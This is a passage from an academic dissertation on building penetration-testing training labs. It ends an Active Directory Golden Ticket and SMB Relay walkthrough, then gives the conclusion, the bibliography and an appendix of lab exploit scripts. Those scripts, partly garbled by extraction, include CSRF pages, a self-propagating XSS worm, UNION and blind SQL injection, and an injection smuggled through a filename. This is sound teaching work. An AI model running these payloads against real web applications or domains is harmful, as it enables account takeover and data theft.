the admin user. It is crucial to understand that no communication with the KDC is needed to obtain this
ticket since it is locally forged in the attacker’s machine. This is possible because the tool is provided with
all the information needed (i.e., domain SID, domain name and password hash of the krbtgt account)
to generate a valid ticket for any user.
After that, the forged ticket can be used to authenticate as the admin user. For instance, by using
Impacket’s command execution script [Link], the attacker is able to get a shell on the DC of the
[Link] domain, as depicted by Figure 6.17.
100
Figure 6.16: Creating a golden ticket
Figure 6.17: Using the golden ticket to authenticate as the admin user
The whoami command returns the nt authority\system user, which is a built-in system account in
Windows with the highest level of privileges on the system. Therefore, the attacker is now able to control
the [Link] domain.
As detailed before, HacktiveDirectory Lab is a cloud-based solution and one downside of that is that
multicast support in cloud environments can be very challenging. Therefore, cloud service providers,
such as AWS, Azure and Google Cloud, have severe limitations around multicast support. As a conse-
quence, the multicast name resolution protocols LLMNR and NBT-NS do not work on these cloud-based
networks. This results in some constraints when experimenting with attacks that require poisoning these
protocols, which is the case of the SMB Relay attack.
Thus, the LLMNR/NBT-NS poisoning step of this attack cannot be performed on HacktiveDirectory
Lab. So, instead of making the victim look for an non-existing resource in the network and poisoning the
response, this step can be simulated by directly accessing the attacker’s machine.
However, before that, the attacker’s machine must be running Impacket’s [Link] script,
which relays the NTLM authentication from the victim to the target SMB server and obtains an active
connection in case the authentication succeeds. Figure 6.18 shows [Link] being set up on the
attacker’s machine.
Without this multicast restriction on the Hacktive Directory Lab environment, Responder would be
101
Figure 6.18: Waiting for victims to relay the NTLM authentication
launched on the attacker’s machine to poison any LLMNR name resolution requests. The tool would be
run as follows:
sudo ./[Link] -I eth0 -v
With Responder running on the attacker’s machine, the victim’s workstation would be used to access
a non-existing resource on the network, such as \\test. An example is provided by Figure 6.19(a).
After that, the LLMNR poisoning would make the victim try to access the non-existing resource on
the attacker’s machine. For that, it would need to authenticate against it, which would allow the attacker
to relay the NTLM authentication to the target server.
In this scenario, the LLMNR poisoning stage is simulated by using the victim’s workstation to directly
access the attacker’s machine (rather than a non-existing resource), as demonstrated by Figure 6.19(b).
(a) Accessing a non-existing resource (b) Directly accessing the attacker’s machine
Since [Link] is running on the attacker’s machine, it will relay the NTLM authentication to
the target server and will be able to authenticate against it as the victim. Figure 6.20 shows that, in
102
this scenario, the tool received the connection from the victim and was able to successfully authenticate
against the target server (the DC) as the victim ([Link]).
The previous output mentions that an interactive SMB client shell was made available on port 11000.
Using netcat, the attacker can access the remote shell on the target server that was provided by
[Link], as illustrated by Figure 6.21, and execute SMB commands to list shares and retrieve
files.
103
104
Conclusion
7
Contents
7.1 Contributions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
105
106
In the course of this dissertation, three distinct penetration testing laboratories were designed and im-
plemented with the goal of bolstering cybersecurity hands-on training in two critical areas: Web Security
and Windows Active Directory.
Hackergram Lab is the first laboratory that was developed. This environment was designed to offer
practical experience in web penetration testing, with a primary focus on the identification, exploitation
and mitigation of key web vulnerabilities such as Cross-Site Request Forgery, Cross-Site Scripting and
SQL Injection. Hackergram Lab offers a controlled setting to safely test and simulate these attacks,
providing lab users with a hands-on experience to enhance their understanding of this topic.
Rebind&Conquer Lab, the second laboratory, was established to specifically demonstrate the DNS
Rebinding attack. This lab offers a realistic setting for users to understand and engage with the me-
chanics of this sophisticated form of attack, thereby enhancing their ability to identify and prevent such
threats.
HacktiveDirectory Lab was developed as a laboratory dedicated to Windows Active Directory pen-
etration testing. This lab exposes vulnerabilities and well-known attacks such as User Enumeration,
Password Spraying, AS-REP Roasting, Kerberoasting, Golden Ticket and SMB Relay. By providing a
real-world-like vulnerable network, it helps lab users learn about Windows Active Directory environments
and equipps them with the necessary skill set to detect and mitigate these vulnerabilities.
Overall, each pentesting lab was meticulously designed to simulate realistic scenarios, providing a
safe and controlled environment for users to gain practical knowledge and hands-on experience, with
the ultimate objective of fostering a deeper understanding of cybersecurity concepts in these two funda-
mental fields.
7.1 Contributions
This dissertation led to the successful development of three specialized laboratories on different fields of
pentesting. These labs serve as a practical resource for cybersecurity students, enthusiasts and aspiring
professionals to gain hands-on knowledge and experience. The creation of these labs addresses a
critical gap in the cybersecurity learning path, providing effective platforms for the target user to advance
their skills beyond theory.
Hackergram Lab provides a realistic setting to test web-based attacks like Cross-Site Request Forgery,
Cross-Site Scripting and SQL Injection. In addition, these attacks were accurately demonstrated in the
lab environment and can be replicated by the lab user.
Rebind&Conquer Lab addresses and demonstrates a complex form of attack that often goes un-
noticed, contributing to the learning resources available for understanding and performing the DNS
Rebinding attack.
107
HacktiveDirectory Lab provides a safe and controlled environment to test attacks specific to active
directory networks. On top of that, well-known attacks, such as User Enumeration, Password Spraying,
AS-REP Roasting, Kerberoasting, Golden Ticket and SMB Relay, were demonstrated and can be easily
reproduced by the lab user.
Based on the insights gained from the research done in this dissertation as well as the implementation
and development of the penetration testing laboratories, there are some recommendations that can be
addressed in the future work.
First of all, this dissertation discusses countermeasures to mitigate all of the covered attacks but
only from a theoretical point of view. Therefore, for future work, these countermeasures should be
implemented on each lab so that users can interact with both a vulnerable system and a system that
employs the proper defense mechanisms. This would allow users to deepen their understanding of how
these countermeasures should be implemented.
Hackergram Lab is a pentesting lab that specifically focus on web vulnerabilities. However, the range
of attacks covered is not particularly exhaustive. Therefore, Hackergram Lab should address other key
web vulnerabilities to enable a wider range of attacks, including Out-of-Band SQLi, Insecure Direct Ob-
ject Reference and Server-Side Request Forgery. Similarly, HacktiveDirectory Lab should be used to test
and demonstrate more attacks specific to Active Directory networks, such as Silver Ticket, Constrained
Delegation Abuse, Unconstrained Delegation Abuse and Resource-based Delegation Abuse.
The major downside of HacktiveDirectory Lab is the fact that it is deployed on AWS and cloud service
providers do not support multicast traffic in VPCs. For that reason, Active Directory attacks that require
poisoning of multicast name resolution protocols (i.e., LLMNR and NBT-NS), such as SMB Relay, cannot
be performed exactly as they would be in a real Active Directory environment. One possible approach
to circumvent this limitation is by developing a script that continuously sends out LLMNR responses to
the victim’s machine for a specific non-existent resource in the network. Then, upon requesting that
resource on the victim’s machine, the LLMNR poisoning would be successful, thus enabling a more
realistic implementation of the SMB Relay attack.
Alternatively, the option of deploying a vulnerable Active Directory network on a Linux environment
using Samba can also be explored. This would enable the deployment of the lab locally without requiring
high hardware requirements and, at the same time, would allow to test most of the attacks specific to
Active Directory networks. In particular, the ones associated with the Kerberos protocol.
108
Bibliography
[1] D. Stuttard and M. Pinto, The Web Application Hacker’s Handbook: Finding and Exploiting Security
Flaws. Wiley, 8 2011.
[2] Mozilla, “HTTP,” Accessed on: May 25, 2023. [Online]. Available: [Link]
en-US/docs/Web/HTTP
[3] JavaScript, “HTTP,” Accessed on: May 25, 2023. [Online]. Available: [Link]
en-US/docs/Web/javascript
[4] W. Du, Computer & Internet Security: A Hands-on Approach. Wenliang Du, 2019. [Online].
Available: [Link]
[5] Brave Privacy Team, “Grab bag: query stripping, referrer policy, and reporting API,” Accessed on:
March 30, 2023. [Online]. Available: [Link]
[6] M. West, M. Goodwin, “Same-site Cookies,” Accessed on: March 30, 2023. [Online]. Available:
[Link]
[7] PortSwigger, “How to prevent CSRF vulnerabilities,” Accessed on: March 30, 2023. [Online].
Available: [Link]
[8] OWASP, “Cross-Site Request Forgery Prevention Cheat Sheet,” Accessed on: March 30, 2023.
[Online]. Available: [Link] Request Forgery
Prevention Cheat [Link]
[9] Payload Box, “XSS Vulnerability Payload List,” Accessed on: April 5, 2023. [Online]. Available:
[Link]
[10] M. West, “RFC 7762: Initial Assignment for the Content Security Policy Directives Registry,”
Accessed on: April 5, 2023. [Online]. Available: [Link]
[11] Try Hack Me, “SQL Injection,” Accessed on: April 10, 2023. [Online]. Available: https:
//[Link]/room/sqlinjectionlm
109
[12] PHP, “mysqli real escape string(),” Accessed on: April 10, 2023. [Online]. Available: https:
//[Link]/manual/en/[Link]
[13] “OpenDNS,” Accessed on: March 29, 2023. [Online]. Available: [Link]
[14] “Dnsmasq,” Accessed on: March 29, 2023. [Online]. Available: [Link]
[15] “Unbound,” Accessed on: March 29, 2023. [Online]. Available: [Link]
unbound/about/
[16] C. Jackson, A. Barth, A. Bortz, W. Shao, and D. Boneh, “Protecting browsers from
dns rebinding attacks,” in In Proceedings of ACM CCS 07, 2007. [Online]. Available:
[Link]
[17] David Ulevitch, “Finally, a real solution to DNS rebinding attacks,” Accessed on: March 3, 2023.
[Online]. Available: [Link]
[18] Zhanhao Chen, “DNS Rebinding Attack: How Malicious Websites Exploit Private Networks,”
Accessed on: March 2, 2023. [Online]. Available: [Link]
[19] Hack The Box, “What is Active Directory? (Active Directory hacking intro),” Accessed on: May 9,
2023. [Online]. Available: [Link]
[20] Microsoft, “Active Directory Domain Services Overview,” Accessed on: May 9, 2023. [Online].
Available: [Link]
active-directory-domain-services-overview
[21] Try Hack Me, “Active Directory Basics,” Accessed on: May 9, 2023. [Online]. Available:
[Link]
[22] B. Desmond, J. Richards, R. Allen, and A. G. Lowe-Norris, Active Directory: Designing, Deploying,
and Running Active Directory. O’Reilly Media, 6 2013.
[23] J. Moskowitz, Group Policy: Fundamentals, Security, and the Managed Desktop. Sybex, 8 2015.
[24] Samba Team, “Samba,” Accessed on: May 10, 2023. [Online]. Available: [Link]
samba-team/samba
[25] HG Insights, “Companies Using Microsoft Active Directory,” Accessed on: May 15, 2023. [Online].
Available: [Link]
[26] Infosecurity Magazine, “Active Directory Flaw Could Threaten 95% of Fortune 500 with
Massive Information Heist,” Accessed on: May 15, 2023. [Online]. Available: https:
//[Link]/news/active-directory-flaw-could/
110
[27] Cyber Defense Magazine, “Infrastructure Vulnerabilities and How Attackers See Them,”
Accessed on: May 15, 2023. [Online]. Available: [Link]
top-legacy-active-directory/
[28] Microsoft, “Active Directory Security Groups,” Accessed on: May 9, 2023. [Online]. Available: https:
//[Link]/en-us/windows-server/identity/ad-ds/manage/understand-security-groups
[29] Wikipedia, “NTLM,” Accessed on: May 11, 2023. [Online]. Available: [Link]
NTLM
[30] C. Neuman, T. Yu, S. Hartman, K. Raeburn, “RFC 4120: The Kerberos Network
Authentication Service (V5),” Accessed on: May 15, 2023. [Online]. Available: https:
//[Link]/rfc/rfc4120
[31] C. Kaufman, R. Perlman, and M. Speciner, Network Security: Private Communication in a Public
World. Prentice Hall, 5 2002.
[32] Microsoft, “Maximum lifetime for service ticket,” Accessed on: May 15, 2023. [Online]. Avail-
able: [Link]
maximum-lifetime-for-service-ticket
[33] MIT Kerberos Documentation, “replay cache,” Accessed on: May 15, 2023. [Online]. Available:
[Link] [Link]
[34] ——, “[Link],” Accessed on: May 16, 2023. [Online]. Available: [Link]
krb5-latest/doc/admin/conf files/kdc [Link]
[35] ——, “Encryption types,” Accessed on: May 16, 2023. [Online]. Available: https:
//[Link]/Kerberos/krb5-latest/doc/admin/[Link]
[36] Microsoft, “NTLM Overview,” Accessed on: May 15, 2023. [On-
line]. Available: [Link] protocols/ms-nlmp/
c50a85f0-5940-42d8-9e82-ed206902e919
[37] B. Aboba, D. Thaler, L. Esibov, “RFC 4795: Link-Local Multicast Name Resolution (LLMNR),”
Accessed on: May 13, 2023. [Online]. Available: [Link]
[38] , “RFC 1001: Protocol Standard for a NetBIOS Service on a TCP/UDP Transport: Concepts and
Methods,” Accessed on: May 13, 2023. [Online]. Available: [Link]
[39] MITRE ATT&CK, “Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay,” Accessed
on: May 16, 2023. [Online]. Available: [Link]
111
[40] Try Hack Me, “Breaching Active Directory,” Accessed on: May 12, 2023. [Online]. Available:
[Link]
[41] Microsoft, “Overview of file sharing using the SMB 3 protocol in Windows Server,” Accessed
on: May 13, 2023. [Online]. Available: [Link]
file-server/file-server-smb-overview
[42] ——, “How to detect, enable and disable SMBv1, SMBv2, and SMBv3 in Windows,” Accessed
on: May 16, 2023. [Online]. Available: [Link]
file-server/troubleshoot/detect-enable-and-disable-smbv1-v2-v3
[43] ——, “SMBv1 is not installed by default in Windows 10 version 1709, Windows Server version 1709
and later versions,” Accessed on: May 16, 2023. [Online]. Available: [Link]
en-us/windows-server/storage/file-server/troubleshoot/smbv1-not-installed-by-default-in-windows
[44] ——, “Overview of Server Message Block signing,” Accessed on: May 16, 2023.
[Online]. Available: [Link]
overview-server-message-block-signing
[45] ropnop, “Kerbrute,” Accessed on: May 12, 2023. [Online]. Available: [Link]
kerbrute
[46] Nmap, “Script krb5-enum-users,” Accessed on: May 17, 2023. [Online]. Available: https:
//[Link]/nsedoc/scripts/[Link]
[47] ——, “Nmap: the Network Mapper,” Accessed on: May 17, 2023. [Online]. Available:
[Link]
[48] National Cyber Security Center, “Spray you, spray me: defending against password spraying
attacks,” Accessed on: May 12, 2023. [Online]. Available: [Link]
spray-you-spray-me-defending-against-password-spraying-attacks
[49] MITRE ATT&CK, “Steal or Forge Kerberos Tickets: AS-REP Roasting,” Accessed on: May 12,
2023. [Online]. Available: [Link]
[50] Fortra, “Impacket,” Accessed on: May 18, 2023. [Online]. Available: [Link]
impacket
[51] hashcat, “hashcat,” Accessed on: May 18, 2023. [Online]. Available: [Link]
hashcat
[52] Openwall, “John the Ripper,” Accessed on: May 18, 2023. [Online]. Available: https:
//[Link]/openwall/john
112
[53] Microsoft, “Service principal names,” Accessed on: May 12, 2023. [Online]. Available:
[Link]
[54] MITRE ATT&CK, “Steal or Forge Kerberos Tickets: Kerberoasting,” Accessed on: May 12, 2023.
[Online]. Available: [Link]
[55] harmj0y from SpecterOps, “DerbyCon 2019: Kerberoasting Revisited,” Accessed on: May 12, 2023.
[Online]. Available: [Link]
[56] MITRE ATT&CK, “Steal or Forge Kerberos Tickets: Golden Ticket,” Accessed on: May 12, 2023.
[Online]. Available: [Link]
[57] Crowdstrike, “What is a Golden Ticket Attack?” Accessed on: May 12, 2023. [Online]. Available:
[Link]
[58] Microsoft, “AD Forest Recovery - Resetting the krbtgt password,” Accessed on: May
12, 2023. [Online]. Available: [Link]
manage/ad-forest-recovery-resetting-the-krbtgt-password
[59] lgandx, “Responder,” Accessed on: May 18, 2023. [Online]. Available: [Link]
Responder
[60] Rapid7, “SMB Relay Attacks Explained,” Accessed on: May 13, 2023. [Online]. Available:
[Link]
[61] SEED Labs, “Web Security Labs,” Accessed on: May 30, 2023. [Online]. Available:
[Link] 20.04/Web/
[62] PortSwigger, “Web Security Academy,” Accessed on: May 30, 2023. [Online]. Available:
[Link]
[63] TryHackMe, “TryHackMe: Cyber Security Training,” Accessed on: May 30, 2023. [Online].
Available: [Link]
[64] bitly, “bitly: URL Shortner,” Accessed on: May 31, 2023. [Online]. Available: [Link]
[65] SEED Labs, “DNS Rebinding Attack Lab,” Accessed on: May 26, 2023. [Online]. Available:
[Link] 20.04/Networking/DNS/DNS Rebinding/
[66] Orange Cyberdefense, “GOAD (Game Of Active Directory),” Accessed on: May 22, 2023. [Online].
Available: [Link]
[67] Adam Chester, “Designing The Adversary Simulation Lab,” Accessed on: May 22, 2023. [Online].
Available: [Link]
113
[68] xpn, “Example External Trust Lab,” Accessed on: May 22, 2023. [Online]. Available:
[Link]
[69] HashiCorp, “Terraform Documention,” Accessed on: May 20, 2023. [Online]. Available:
[Link]
[70] Microsoft, “Get started with Desired State Configuration (DSC) for Windows,” Accessed on: May
20, 2023. [Online]. Available: [Link]
wingettingstarted?view=dsc-1.1
[71] Anton Babenko, “Terraform Cost Estimation,” Accessed on: May 22, 2023. [Online]. Available:
[Link]
[72] attackdebris, “Kerberos Username Enumeration – Top 500 Common Usernames,” Accessed on:
May 29, 2023. [Online]. Available: [Link] enum userlists
[73] dirkjanm, “LDAPDomainDump,” Accessed on: May 23, 2023. [Online]. Available: https:
//[Link]/dirkjanm/ldapdomaindump
114
115
116
Exploit scripts for Hackergram Lab
A
Listing A.1: CSRF attack on /create post endpoint
117
12 </body >
13 </html >
118
Listing A.4: CSRF attack on /request friend endpoint
119
Listing A.6: CSRF attack on /remove friend endpoint
3 import requests
4 import sys
5
120
20 ' password ': " eve123 "
21 }
22 session . post ( SERVER + " / login " , data = payload )
23
3 import requests
4 import sys
5
121
15 session . post ( SERVER + " / signup " , data = payload )
16
122
2
3 import requests
4 import sys
5
123
39 host = ' [Link] ' if len ( sys . argv ) < 2 else sys . argv [ 1 ]
40 port = ' 80 ' if len ( sys . argv ) < 3 else sys . argv [ 2 ]
41 SERVER = " http :// " + host + " : " + port
42 print ( SERVER )
43 with requests . session () as s :
44 reset ( s )
45 register ( s )
46 login ( s )
47 exploit ( s )
3 import requests
4 import sys
5
124
27 ' name ': ' New Name ' ,
28 ' currentpassword ': " eve123 " ,
29 ' newpassword ' : " " ,
30 ' bio ': ' New bio ' ,
31 }
32 ma licious_filename = ' file . jpg " onerror =" setTimeout ( function () { alert (
String . fromCharCode (88 ,83 ,83) ) } , 0) '
33 files = {
34 ' photo ': ( malicious_filename , open ( ' assets / icon . jpg ' , ' rb ') , ' image /
jpeg ')
35 }
36 headers = { ' User - Agent ': 'my - app /0.0.1 '}
37 r = session . post ( SERVER + " / settings " , headers = headers , data = payload , files
= files )
38 print ( r )
39
1 <script type= " text / javascript " id= " virus " >
2 [Link] = function () {
3 var url = " http: // localhost:5000 / create_post " ;
4 var params = " & content=Mallory hacked me " + " " + " " ;
5 var http = new XMLHttpRequest () ;
6 var a = d oc um e nt .g e tE l em en t By I d ( " user " ) . [Link] ( " mallory " ) ;
7 if ( a < 0) {
8 [Link] ( " POST " , url , true ) ;
9 htt [Link] tRequ estH eader ( " Content-type " , " application /
125
x-w ww-f orm- urlen code d " ) ;
10 h tt p. o nr e ad ys t at e ch an g e = function () {
11 if ( [Link] == 4 && [Link] == 200) {
12 }
13 }
14 [Link] ( params ) ;
15 }
16 }
17 </script >
3 import requests
4 import sys
5
126
27 ' window . onload = function () {{\ n '
28 ' var url = "{}/ create_post ";\ n '
29 ' var params = "& content = Mallory hacked me " + "" + "";\ n '
30 ' var http = new XMLHttpRequest () ;\ n '
31 ' var a = document . getElementById (" user ") . outerHTML . search (" mallory ")
;\ n '
32 ' if ( a < 0) {{\ n '
33 ' http . open (" POST " , url , true ) ;\ n '
34 ' http . setRequestHeader (" Content - type " , " application /x - www - form -
urlencoded ") ;\ n '
35 ' http . onreadystatechange = function () {{\ n '
36 ' if ( http . readyState == 4 && http . status == 200) {{\ n '
37 ' }}\ n '
38 ' }}\ n '
39 ' http . send ( params ) ;\ n '
40 ' }}\ n '
41 ' }}\ n '
42 ' </ script >\ n '
43 ) . format ( SERVER )
44 payload = {
45 ' content ': data ,
46 }
47 r = session . post ( SERVER + " / create_post " , data = payload )
48 print ( r )
49
127
1 <script type= " text / javascript " id= " worm " >
2 [Link] = function () {
3 var header = " <script type= " + " text / javascript " + " id= " + " worm > " ;
4 var code = d oc um e nt .g e tE l em en t By I d ( " worm " ) . innerHTML;
5 var tail = " < / " + " script > " ;
6 var worm = encodeURIComponent ( header + code + tail ) ;
7 var url = " http: // localhost:5000 / create_post " ;
8 var params = " & content=Mallory hacked me " + worm;
9 var http = new XMLHttpRequest () ;
10 var a = d oc um e nt .g e tE l em en t By I d ( " user " ) . [Link] ( " mallory " ) ;
11 if ( a < 0) {
12 [Link] ( " POST " , url , true ) ;
13 htt [Link] tRequ estH eader ( " Content-type " , " application /
x-w ww-f orm- urlen code d " ) ;
14 h tt p. o nr e ad ys t at e ch an g e = function () {
15 if ( [Link] == 4 && [Link] == 200) {
16 }
17 }
18 [Link] ( params ) ;
19 }
20 }
21 </script >
3 import requests
4 import sys
5
128
14 }
15 session . post ( SERVER + " / signup " , data = payload )
16
129
49 ' content ': data ,
50 }
51 r = session . post ( SERVER + " / create_post " , data = payload )
52 print ( r )
53
3 import requests
4 import sys
5 from bs 4 import BeautifulSoup
6
130
21 ' password ': " eve123 "
22 }
23 session . post ( SERVER + " / login " , data = payload )
24
3 import requests
4 import sys
131
5
132
Listing A.17: SQLi attack to enumerate the database
3 import requests
4 import sys
5 from bs 4 import BeautifulSoup
6
133
38 return False
39 print ( " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\ n " )
40 print ( " ( Table : Column ) \ n " )
41 payload = {
42 ' search ' : " ' UNION SELECT '1 ' , TABLE_NAME , '1 ' , '1 ' , COLUMN_NAME ,
table_schema FROM INFORMATION_SCHEMA . COLUMNS -- "
43 }
44 r = session . get ( SERVER + " / posts " , params = payload )
45 soup = BeautifulSoup ( r . text , ' html . parser ')
46 cards = soup . find_all ( class_ = ' card ')
47 for card in cards :
48 href = card . find ( class_ = ' profile ')
49 if href and ' href ' in href . attrs :
50 table = href [ ' href ' ]. split ( ' username = ') [ 1 ]
51 db_name = card . find ( class_ = ' card - text h6 ') . text . strip ()
52 if db_name == " ( hackergramdb ) " :
53 column = card . find ( class_ = ' card - text h5 ') . text . strip ()
54 print ( f " { table } : { column } " )
55
56
3 import requests
4 import sys
134
5 import string
6
135
42 print ( f " \ nPassword found for { user }: { password } " )
43
44
3 import requests
4 import sys
5 import string
6 import time
7
136
22 ' password ': " eve123 "
23 }
24 session . post ( SERVER + " / login " , data = payload )
25
137
Listing A.20: SQLi attack to change the victim’s profile
3 import requests
4 import sys
5
138
36
3 import requests
4 import sys
5
139
25 payload = {
26 ' name ': " " ,
27 ' currentpassword ': " eve123 " ,
28 ' newpassword ' : " " ,
29 ' bio ': " " ,
30 }
31 ma licious_filename = " None ', username = ' dpr ', name = ' pwned ', password =
'123 ' , bio = ' user was pwned ' WHERE username = ' dpr ' -- "
32 files = {
33 ' photo ': ( malicious_filename , ' ' , ' image / jpeg ')
34 }
35 headers = { ' User - Agent ': 'my - app /0.0.1 '}
36 session . post ( SERVER + " / settings " , headers = headers , data = payload , files =
files )
37
140
141